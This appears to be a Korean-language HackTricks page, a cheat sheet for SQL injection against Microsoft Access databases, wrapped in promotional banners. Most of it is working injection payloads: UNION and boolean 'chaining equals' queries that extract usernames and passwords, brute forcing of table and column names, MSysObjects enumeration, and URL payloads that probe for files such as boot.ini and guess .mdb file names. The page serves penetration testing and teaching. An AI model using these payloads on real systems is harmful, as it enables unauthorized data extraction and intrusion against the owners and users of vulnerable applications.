10 KiB
MS Access SQL Injection
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
- 공식 PEASS & HackTricks 스웨그를 얻으세요.
- The PEASS Family를 발견하세요. 독점적인 NFTs 컬렉션입니다.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @carlospolopm를 팔로우하세요.
- HackTricks와 HackTricks Cloud github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
온라인 플레이그라운드
DB 제한 사항
문자열 연결
문자열 연결은 & (%26)
및 + (%2b)
문자로 가능합니다.
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
댓글
MS Access에는 댓글 기능이 없지만, NULL 문자를 사용하여 쿼리의 마지막 부분을 제거하는 것이 가능한 것 같습니다:
1' union select 1,2 from table%00
만약 이 방법이 작동하지 않는다면, 쿼리의 구문을 수정할 수도 있습니다:
1' UNION SELECT 1,2 FROM table WHERE ''='
스택 쿼리
지원되지 않습니다.
LIMIT
LIMIT
연산자는 구현되지 않았습니다. 그러나 TOP
연산자를 사용하여 SELECT 쿼리 결과를 첫 N개의 테이블 행으로 제한할 수 있습니다. TOP
은 반환할 행의 수를 나타내는 정수를 인수로 받습니다.
1' UNION SELECT TOP 3 attr FROM table%00
TOP과 마찬가지로 **LAST
**를 사용하여 끝에서부터 행을 가져올 수 있습니다.
UNION 쿼리/서브 쿼리
SQLi에서는 일반적으로 다른 테이블에서 정보를 추출하기 위해 새로운 쿼리를 실행해야 합니다. MS Access에서는 서브 쿼리나 추가 쿼리에서 FROM
이 표시되어야 합니다.
따라서, UNION SELECT
또는 UNION ALL SELECT
또는 조건절에서 괄호 안에 SELECT
를 실행하려면 항상 유효한 테이블 이름이 있는 FROM
을 지정해야 합니다.
따라서, 유효한 테이블 이름을 알아야 합니다.
-1' UNION SELECT username,password from users%00
Chaining equals + Substring
{% hint style="warning" %} 이를 통해 테이블 이름을 알 필요 없이 현재 테이블의 값을 유출할 수 있습니다. {% endhint %}
MS Access는 **'1'=2='3'='asd'=false
**와 같은 이상한 구문을 허용합니다. 일반적으로 SQL 인젝션이 WHERE
절 내부에 있을 것이므로 이를 악용할 수 있습니다.
MS Access 데이터베이스에서 SQLi가 있다고 가정하고, 하나의 열 이름이 username이라고 알고 있거나 추측한 경우, 체이닝 이퀄 기술이 사용될 때 웹 앱의 다른 응답을 확인하고 Mid
함수를 사용하여 부분 문자열을 가져와 부울 인젝션을 통해 콘텐츠를 유출할 수 있습니다.
'=(Mid(username,1,3)='adm')='
만약 테이블의 이름과 덤프할 컬럼을 알고 있다면, Mid
, LAST
, TOP
을 조합하여 부울형 SQLi를 통해 모든 정보를 노출시킬 수 있습니다:
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
온라인 플레이그라운드에서 이를 확인해보세요.
테이블 이름 무차별 대입 공격
체이닝 이퀄 기법을 사용하여 다음과 같이 테이블 이름을 무차별 대입 공격할 수도 있습니다:
'=(select+top+1+'lala'+from+<table_name>)='
더 전통적인 방법을 사용할 수도 있습니다:
-1' AND (SELECT TOP 1 <table_name>)%00
온라인 플레이그라운드에서 확인해보세요.
- Sqlmap 일반적인 테이블 이름: https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt
- 다른 목록은 http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html에서 확인할 수 있습니다.
열 이름 무차별 대입으로 무차별 대입하기
현재 열 이름을 열 이름 무차별 대입 기법을 사용하여 무차별 대입할 수 있습니다.
'=column_name='
또는 group by와 함께:
-1' GROUP BY column_name%00
또는 다른 테이블의 열 이름을 무차별 대입(brute-force)하여 찾을 수도 있습니다:
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
데이터 덤프
우리는 이미 equals 기법을 연결하는 방법을 통해 현재 테이블과 다른 테이블에서 데이터를 덤프하는 방법에 대해 논의했습니다. 그러나 다른 방법들도 있습니다:
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
간단히 말해서, 이 쿼리는 "if-then" 문을 사용하여 성공한 경우 "200 OK"를 트리거하거나 그렇지 않은 경우 "500 Internal Error"를 트리거합니다. TOP 10 연산자를 이용하여 첫 번째 열 개를 선택할 수 있습니다. LAST의 후속 사용은 10번째 튜플만 고려하도록 합니다. 이 값을 사용하여 MID 연산자를 사용하여 간단한 문자 비교를 수행할 수 있습니다. MID와 TOP의 인덱스를 적절히 변경하여 모든 행의 "username" 필드 내용을 덤프 할 수 있습니다.
시간 기반
다른 흥미로운 함수
Mid('admin',1,1)
은 위치 1부터 길이 1의 하위 문자열을 가져옵니다 (초기 위치는 1입니다).LEN('1234')
는 문자열의 길이를 가져옵니다.ASC('A')
는 문자의 ASCII 값을 가져옵니다.CHR(65)
는 ASCII 값에서 문자열을 가져옵니다.IIF(1=1,'a','b')
는 if then을 수행합니다.COUNT(*)
는 항목 수를 계산합니다.
테이블 열거
여기에서 테이블 이름을 가져오는 쿼리를 확인할 수 있습니다.
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
그러나, MSysObjects
테이블을 읽을 수 없는 SQL Injection을 찾는 것이 매우 일반적입니다.
파일 시스템 액세스
웹 루트 디렉토리 전체 경로
웹 루트의 절대 경로를 알면 추가적인 공격을 용이하게 할 수 있습니다. 애플리케이션 오류가 완전히 숨겨지지 않은 경우, 데이터를 선택하여 존재하지 않는 데이터베이스에서 데이터를 가져오려고 시도하면 디렉토리 경로를 알 수 있습니다.
http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00
MS Access는 웹 디렉토리 전체 경로를 포함한 오류 메시지로 응답합니다.
파일 열거
다음 공격 벡터는 원격 파일 시스템에 파일의 존재를 추론하는 데 사용될 수 있습니다. 지정된 파일이 존재하는 경우, MS Access는 데이터베이스 형식이 잘못되었다는 오류 메시지를 트리거합니다:
http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00
파일을 열거하는 또 다른 방법은 데이터베이스.테이블 항목을 지정하는 것입니다. 지정된 파일이 존재하는 경우, MS Access는 데이터베이스 형식 오류 메시지를 표시합니다.
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00
.mdb 파일 이름 추측
다음 쿼리를 사용하여 **데이터베이스 파일 이름 (.mdb)**을 추론할 수 있습니다:
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00
여기서 name[i]는 .mdb 파일 이름이고 realTable은 데이터베이스 내의 존재하는 테이블입니다. MS Access는 항상 오류 메시지를 트리거하지만, 잘못된 파일 이름과 유효한 .mdb 파일 이름을 구별할 수 있습니다.
.mdb 비밀번호 크래커
Access PassView는 Microsoft Access 95/97/2000/XP 또는 Jet Database Engine 3.0/4.0의 주요 데이터베이스 비밀번호를 복구하는 데 사용할 수 있는 무료 유틸리티입니다.
참고 자료
htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 영웅까지 AWS 해킹을 배워보세요!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
- 공식 PEASS & HackTricks 스웨그를 얻으세요.
- 독점적인 NFTs인 The PEASS Family를 발견하세요.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @carlospolopm을 팔로우하세요.
- HackTricks와 HackTricks Cloud github 저장소에 PR을 제출하여 당신의 해킹 기법을 공유하세요.